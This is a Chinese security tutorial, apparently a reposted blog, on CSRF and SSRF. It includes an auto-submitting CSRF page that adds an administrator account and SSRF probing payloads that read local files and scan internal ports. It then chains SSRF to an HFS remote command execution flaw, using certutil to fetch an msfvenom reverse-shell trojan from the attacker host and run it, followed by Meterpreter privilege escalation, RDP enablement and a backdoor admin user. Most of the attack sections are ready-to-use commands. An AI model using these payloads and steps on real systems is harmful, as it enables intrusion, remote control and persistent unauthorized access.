web安全CSRF&SSRF&内网探针&漏洞利用

Posted Nu1LL+

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web安全CSRF&SSRF&内网探针&漏洞利用相关的知识,希望对你有一定的参考价值。

一、对CSRF(跨站请求伪造)的认识

CSRF漏洞简介
CSRF,是跨站请求伪造(Cross Site Request Forgery)的缩写,是一种劫持受信任用户向服务器发送非预期请求的攻击方式。

通常情况下,CSRF 攻击是攻击者借助受害者的 Cookie 骗取服务器的信任,在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击服务器,从而在并未授权的情况下执行在权限保护之下的操作。

CSRF漏洞检测

1.检测CSRF漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。

2.随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞检测的工具,如CSRFTester,CSRF Request Builder等。

防御CSRF攻击

目前防御CSRF攻击主要有三种策略:
1.验证HTTP Referer字段
2.在请求地址中添加token并验证
3.在HTTP头中自定义属性并验证
4.在一些功能点添加验证码

CSRF与XSS的区别:最大的区别就是CSRF没有盗取用户的Cookie,而是直接的利用了浏览器的Cookie让用户去执行某个动作。

在这里插入图片描述
参考:https://www.freebuf.com/vuls/265316.html
           https://segmentfault.com/a/1190000021114673

二、CSRF后台自动添加管理员

这里模仿受害者A正常登陆后台
在这里插入图片描述
此时攻击者B诱惑受害者A点击一个网页

在这里插入图片描述
那么被害者在浏览后台的情况下,点击这个构造好的页面就会受到CSRF攻击,在后台自动添加管理员用户
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

CSRF EXP如下:

<html>
<head lang="en">
	<title>csrf_post</title>
	<script>
    window.onload = function() {
    document.getElementById("postsubmit").click();
  }
 </script>
</head>
<body>
       <form action="http://192.168.111.128/admin/addadminuser.asp?action=add"  method="POST">
       	 <input type="text" name="username" value="csrfname"><br>
       	 <input type="hidden" name="password" value="123456"><br>
       	 <input type="hidden" name="password1" value="123456"><br>
       	 <input id="postsubmit" type="submit" name="submit" value="submit" />
       </form>
</body>
</html>

但这里CSRF会受到各种场景的影响:
1.浏览器,如果它这里默认的浏览器是IE,但是在谷歌浏览访问的后台并留有cookie,这时候点击攻击者构造好的页面,由默认IE浏览器打开就不会产生影响
2.必须得存在CSRF漏洞,并且受害者在访问存在这个漏洞的页面,并同时打开构造好的攻击页面
3.得熟悉这个网站功能点,有这个网站的源码才能构造好攻击网页,思路就是搭建一个一样的网站
4.利用可能考虑XSS+CSRF组合

那么这个漏洞相当于一个让别人帮你做事情的一个漏洞,那么防御如下
1.添加token并验证
2.在一些功能点添加验证码

三、对SSRF(服务端请求伪造)的认识

SSRF(Server-Side Request Forgery, 服务端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造,利用存在缺陷的web应用作为代理攻击远程和本地的服务器利用漏洞可以发起网络请求来攻击内网服务。
利用SSRF能实现以下效果:
1) 扫描内网(主机信息收集,Web应用指纹识别)
2) 根据所识别应用发送构造的Payload进行攻击
3) 拒绝服务(Denial of service),请求大文件,始终保持连接Keep-Alive Always)
4) 利用file协议读取本地文件等

具体ssrf漏洞详解参考:https://www.jianshu.com/p/d1d1c40f6d4c
                                      https://www.t00ls.net/articles-41070.html
https://hackergu.com/%E5%88%9D%E8%AF%86ssrf%E6%BC%8F%E6%B4%9E/

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

四、SSRF信息探针&漏洞利用&权限

漏洞代码

<html>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<h1>SSRF漏洞,传递参数url,展示漏洞。</h1>

<?php
function curl($url){
$ch = curl_init(); //初始化一个curl会话
curl_setopt($ch, CURLOPT_URL, $url); //需要获取的url地址
curl_setopt($ch, CURLOPT_HEADER, 0); //将头文件的信息作为数据流进行传输
curl_exec($ch); //抓取url并将其传递给浏览器
curl_close($ch); //关闭curl资源,并释放系统资源
}
$url = $_GET['url'];
curl($url);
?>
</html>

打开之后,页面如下:
在这里插入图片描述
按照要求传递参数url,进行请求 ,请求目标站点 www.baidu.com
在这里插入图片描述
然后我们判断是否存在SSRF漏洞,请求一个本地的IP,存在这表示有这个漏洞
在这里插入图片描述
那么根据漏洞来进行协议的请求
http协议:http://127.0.0.1
在这里插入图片描述

file本地文件读取协议:file:///D:/flag.txt
在这里插入图片描述
ftp文件传输协议:ftp://127.0.0.1:21
在这里插入图片描述
dict协议
一、定义:词典网络协议,在RFC 2009中进行描述。它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。(摘自百度百科)
dict://127.0.0.1:3306/info
在这里插入图片描述
那么除了协议请求还能端口扫描已经内网ip段扫描

下面判断是否存在80端口、8080端口、3306端口
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
那么我通过前期的信息收集发现,存在一个http://192.168.111.128:8080这样的HTTP文件服务器
在这里插入图片描述
通过HttpFileServer v2.3的版本历史漏洞发现存在远程命令执行漏洞,接着我们利用此漏洞

参考:https://blog.csdn.net/weixin_30527323/article/details/94862967

思路如下:
收集到漏洞地址:http://192.168.111.128:8080
服务对应的漏洞:HFS远程命令执行漏洞
那么就通过远程命令执行漏洞,让它下载我们的shell并运行

windows命令行远程下载文件:https://blog.csdn.net/weixin_30367945/article/details/95335133

生成msfshell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=6666 
-f exe -o test.exe

开启msf平台进行监控

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.111.130
set lport 6666 
run

在这里插入图片描述
在这里插入图片描述
这边python3开启http服务:python3 -m http.server
在这里插入图片描述

在这里插入图片描述

远程下载msf木马
/?search==%00{.exec|cmd /c certutil -urlcache -split -f http://192.168.111.130:8000/test.exe.} 

在这里插入图片描述

运行msf木马
/?search==%00{.exec|test.exe.} 

在这里插入图片描述

1.getsystem //自动尝试提权
2.getuid //当前会话用户身份
3.run post/windows/manage/enable_rdp //关闭防火墙

在这里插入图片描述

1.shell //进入cmd命令模式
2.netstat -an | find "3389" //查看3389是否开启(远程桌面的服务端口)
3.REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
//开启3389端口
4.net user test 123456 /add //添加一个用户
5.net localgroup administrators test /add //将用户添加到管理员组

在这里插入图片描述

在这里插入图片描述

以上是关于web安全CSRF&SSRF&内网探针&漏洞利用的主要内容,如果未能解决你的问题,请参考以下文章

初探 CSRF&SSRF

SSRF漏洞理解进阶&SSRF+gopher打内网(redismysqlfastcgi)& SSRF相关基础概念

无相劫指:Web安全之其他漏洞专题二-第八天

CSRF&SSRF

web安全:xss && csrf

CSRF和SSRF不只一字之差